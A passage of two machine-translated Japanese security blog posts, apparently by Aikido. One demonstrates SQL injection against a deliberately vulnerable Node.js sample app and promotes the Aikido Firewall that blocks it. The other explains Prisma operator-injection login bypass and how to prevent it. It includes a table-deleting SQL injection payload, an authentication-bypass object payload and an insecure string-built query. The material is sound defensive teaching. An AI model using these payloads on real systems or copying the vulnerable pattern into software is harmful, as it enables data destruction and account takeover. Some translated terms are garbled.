大きな問題は、SQLインジェクション攻撃の機会は雑草のようなものであることだ。これらのツールを使えば一度はすべて刈り取ることができるが、二度と芽が出ないようにコードベース全体を常に警戒しなければならない。
JavaScriptのSQLインジェクション攻撃を解決する代替パス:Aikido ファイアウォール
Aikido Securityが最近リリースしたFirewallは、SQLインジェクション攻撃から自律的にあなたを守る、フリーでオープンソースのセキュリティ・エンジンである。
Node.jsを使用していない場合、私たちは将来的に他の言語やフレームワークのサポートを開始する予定です。FirewallがJavaScriptの世界を超えて拡大する正確な情報を得るために、いつでも製品ニュースレターを購読することができますし、特定の言語を売り込みたい場合はhello@aikido.devまでメールしてください。
JavaSciptのSQLインジェクションに脆弱なアプリのテスト
オープンソースのリポジトリに同梱されているサンプルアプリを使って、Aikido Firewallの動作を紹介しよう。ローカルのMySQLデータベースをデプロイするためにDocker/DockerComposeも必要だ。
まず、firewall-nodeリポジトリをフォークし、そのフォークをローカルのワークステーションにクローンします。
git clone https://github.com/<YOUR-GITHUB-USERNAME>/firewall-node.gitcd firewall-node
Dockerを使って、ローカルのMySQLデータベースをポート27015にデプロイする。このdocker-compose.ymlファイルは、s3mock、MongoDB、PostgreSQLコンテナも作成します。これは、Aikido チームがFirewallが様々な攻撃をどのようにブロックするかをテストするために作成されたものです。
docker-compose -f sample-apps/docker-compose.yml up -d
次に、サンプルアプリを起動します:
node sample-apps/express-mysql2/app.js
オープン http://localhost:4000
をブラウザで開いて、とてもシンプルな猫アプリをチェックしよう。テキストエリアに猫の名前をいくつか入力して 追加 ボタンをクリックします。SQLインジェクションをテストするには テスト噴射 リンクをクリックするか、テキストエリアに以下を入力してください: キティ'); DELETE FROM cats;-- H
をクリックしてください。 追加 もう一度。いずれにせよ、このアプリを使えば、複数のクエリーをまとめて、卑劣なクエリーコメントを使って、ネコのデータベース全体を削除することができる。
どうしてこうなるのか?先に警告したように、このアプリは単に いずれも SQLクエリの最後にユーザー入力を入力するが、これは本質的に安全ではない。
const query = `INSERT INTO cats(petname) VALUES ('${name}');`
ここでの結果は小さいかもしれないが、このしばしば起こる正直なミスが、本番アプリに悲惨な結果をもたらすことは想像に難くない。
Aikido FirewallでJavaScriptのSQLインジェクションをブロックする
では、私たちのオープンソースのセキュリティ・エンジンが、あなたのコードにあるデータベースのやり取りをすべて手作業で修正することなく、JavaScriptのSQLインジェクション攻撃をどれだけ素早くブロックするか見てみましょう。
まだAikido アカウントを持っていない場合は、先に進んでください。 無料で作る.すでにお持ちの場合は、ログインして GitHubアカウントに接続する.その過程で、Aikido あなたのフォークを読むことを許可する。 ファイアウォールノード
プロジェクトに参加している。
に行く。 ファイアウォール・ダッシュボード をクリックし、Add Serviceをクリックします。サービス名を付け、再度、フォークを選択して ファイアウォールノード
プロジェクトに参加している。

Aikido 、Aikido Firewallをインストールして実装する方法を説明します。サンプルアプリを使用しているので、その作業はすでに終わっていますが、JavaScriptのSQLインジェクション攻撃に脆弱な可能性のあるすべてのNode.jsアプリに、私たちのオープンソースのセキュリティエンジンを導入する方法について参考になります。

をクリックする。 トークンの生成 ボタンをクリックし、Aikido FirewallがブロックされたSQLインジェクション攻撃に関する情報をAikido セキュリティプラットフォームに安全に渡すためのトークンを作成します。で始まる生成されたトークンをコピーします。 AIK_RUNTIME...
そしてターミナルに戻ってサンプルアプリを再実行する:
AIKIDO_TOKEN=<YOUR-AIKIDO-TOKEN> AIKIDO_DEBUG=true AIKIDO_BLOCKING=true node sample-apps/express-mysql2/app.js
オープン ローカルホスト:4000
を実行し、もう一度SQLインジェクション攻撃を実行する。今回、Aikido ブラウザであなたをブロックし、ローカルのウェブサーバのログに出力し、新しいイベントを生成します。これをクリックすると、ペイロードやアプリが危険なSQLクエリを生成した場所など、SQLインジェクションの試みに関する包括的な詳細を見ることができます。

Aikido Firewallは、JavaScriptによるSQLインジェクション攻撃からアプリを永遠に守ることに悩む代わりに、攻撃ソース、一般的なペイロード、潜在的な弱点について常に情報を提供する包括的なブロックと洗練された観測機能を提供します。
次はどうする?
Aikido Firewallは、Node.jsベースのアプリケーションに無料でインストール、実装することができます。私たちのオープンソースの組み込みセキュリティエンジンは、JavaScriptのSQLインジェクション攻撃、コマンドインジェクション、プロトタイプ汚染、パストラバーサル、およびすぐに来るより多くからあなたのインフラストラクチャとユーザーデータを保護します。
Firewall が SQL インジェクションから守るための開発のベストプラクティス(パラメータ化されたクエリを使 うとか、ユーザの入力を信用しないとか)に取って代わるべきだと言っているわけではありません。コードベースに欠陥はなく、正直な間違いは常に起こります。
FirewallはSQLインジェクションのグローバルな修正プログラムだと思ってください。カスタム開発された正規表現、レイテンシーを誘発するWAF、あるいは高額な費用がかかる複雑なセキュリティ・エージェントとは異なり、Firewallはこの1つの仕事を非常にうまく、しかも影響はごくわずかで、完全に無料で行うことができる。
もし気に入っていただけたなら、ロードマップをご覧いただき、GitHub リポジトリ(https://github.com/AikidoSec/firewall-node) に星をつけてください。⭐

PrismaとPostgreSQLにNoSQLインジェクションの脆弱性?意外なセキュリティリスクを解説
はじめに
Prismaを使用してブログ用Webアプリを構築しているとします。提供された電子メールとパスワードに基づいてユーザーを認証する簡単なクエリを記述します:
1const user = await prisma.user.findFirst({
2 where: { email, password },
3});
無害に見えるだろう?しかし、攻撃者が password = { "not": "" }
?emailとpasswordが一致した場合のみUserオブジェクトを返すのではなく、emailのみが一致した場合は常にUserを返します。
この脆弱性は演算子インジェクションとして知られていますが、より一般的にはNoSQLインジェクションと呼ばれています。多くの開発者が気づいていないのは、厳密なモデルスキーマにもかかわらず、いくつかのORMは PostgreSQLのようなリレーショナルデータベースで使われているときでさえ演算子インジェクションに対して 脆弱であるということです。
この投稿では、演算子インジェクションがどのように機能するかを調べ、Prisma ORMでの悪用を実演し、それを防ぐ方法について説明します。
オペレーター・インジェクションを理解する
ORMの演算子インジェクションを理解するには、まずNoSQLの演算子インジェクションを見てみるのが面白い。MongoDBは、次のような演算子を使ってデータを問い合わせるAPIを開発者に紹介した。 eqドル
, ドル
そして ドル
.ユーザー入力がMongoDBのクエリー関数にやみくもに渡されると、NoSQLインジェクションのリスクが存在する。
JavaScript用の人気のあるORMライブラリは、データをクエリするための同様のAPIを提供し始め、今ではほとんどすべての主要なORMが、MongoDBをサポートしていなくても、クエリ演算子のいくつかのバリエーションをサポートしている。Prisma、Sequelize、TypeORMはすべて、PostgreSQLのようなリレーショナルデータベース用のクエリ演算子を実装しています。
Prismaにおける演算子インジェクションの悪用
複数のレコードを操作するPrismaクエリ関数は、一般的にクエリ演算子をサポートしており、インジェクションの脆弱性があります。関数の例 最初を見つける
, findMany
, updateMany
そして 削除多数
.Prismaは実行時にクエリで参照されるモデル・フィールドを検証しますが、演算子はこれらの関数の有効な入力であるため、検証によって拒否されることはありません。
Prismaで演算子インジェクションが悪用されやすい理由の1つは、Prisma APIで提供されている文字列ベースの演算子です。 いくつかのORMライブラリは、文字列ベースのクエリ演算子のサポートを削除しています。これは、開発者が見落としやすく、悪用されやすいためです。その代わりに、開発者は演算子用のカスタムオブジェクトを参照することを余儀なくされます。これらのオブジェクトはユーザー入力から容易にデシリアライズできないため、これらのライブラリでは操作インジェクションのリスクが大幅に減少します。
Prismaのすべてのクエリ関数が演算子インジェクションの脆弱性を持つわけではありません。1つのデータベースレコードを選択または変更する関数は通常、演算子をサポートしておらず、Objectが指定されると実行時エラーがスローされます。findUnique 以外に、Prisma の update、delete、upsert 関数も where フィルタで演算子を受け付けません。
1 // This query throws a runtime error:
2 // Argument `email`: Invalid value provided. Expected String, provided Object.
3 const user = await prisma.user.findUnique({
4 where: { email: { not: "" } },
5 });
オペレーター・インジェクションを防ぐためのベスト・プラクティス
1.ユーザー入力をプリミティブデータ型にキャストする
通常、文字列や数値のようなプリミティブなデータ型に入力をキャストすれば、攻撃者がオブジェクトを注入するのを防ぐのに十分である。元の例では、キャストは次のようになる:
1 const user = await prisma.user.findFirst({
2 where: { email: email.toString(), password: password.toString() },
3 });
2.ユーザー入力の検証
キャストは効果的ですが、入力がビジネスロジックの要件を満たしていることを確認するために、ユーザー入力を検証したい場合があります。
class-validator、zod、joiなど、サーバーサイドでユーザー入力を検証するライブラリはたくさんあります。NestJSやNextJSのようなWebアプリケーションフレームワークで開発している場合、コントローラでユーザー入力を検証する特定の方法を推奨していることが多いでしょう。
元の例では、ゾッドの検証は次のようになる:
1import { z } from "zod";
2
3const authInputSchema = z.object({
4 email: z.string().email(),
5 password: z.string().min(8)
6});
7
8const { email, password } = authInputSchema.parse({email: req.params.email, password: req.params.password});
9
10const user = await prisma.user.findFirst({
11 where: { email, password },
12});
3.ORMを常にアップデートする
アップデートを継続することで、セキュリティの改善や修正を受けることができます。たとえば、Sequelize はバージョン 4.12 からクエリー演算子の文字列エイリアスを無効にし、演算子インジェクションの影響を大幅に軽減しました。
結論
演算子インジェクションは、最新のORMを使用するアプリケーションにとって現実的な脅威である。この脆弱性はORMのAPI設計に起因するもので、使用するデータベースの種類とは関係ありません。実際、PostgreSQLと組み合わせたPrismaでさえ、演算子インジェクションに対して脆弱である可能性があります。Prismaは演算子インジェクションに対する組み込みの保護を提供していますが、開発者はアプリケーションのセキュリティを確保するために入力検証とサニタイズを実践しなければなりません。
付録ユーザーモデルのPrismaスキーマ
1// This is your Prisma schema file,
2// learn more about it in the docs: https://pris.ly/d/prisma-schema
3
4generator client {
5 provider = "prisma-client-js"
6}
7
8datasource db {
9 provider = "postgresql"
10 url = env("DATABASE_URL")
11}
12
13// ...
14
15model User {
16 id Int @id @default(autoincrement())
17 email String @unique
18 password String
19 name String?
20 posts Post[]
21 profile Profile?
22}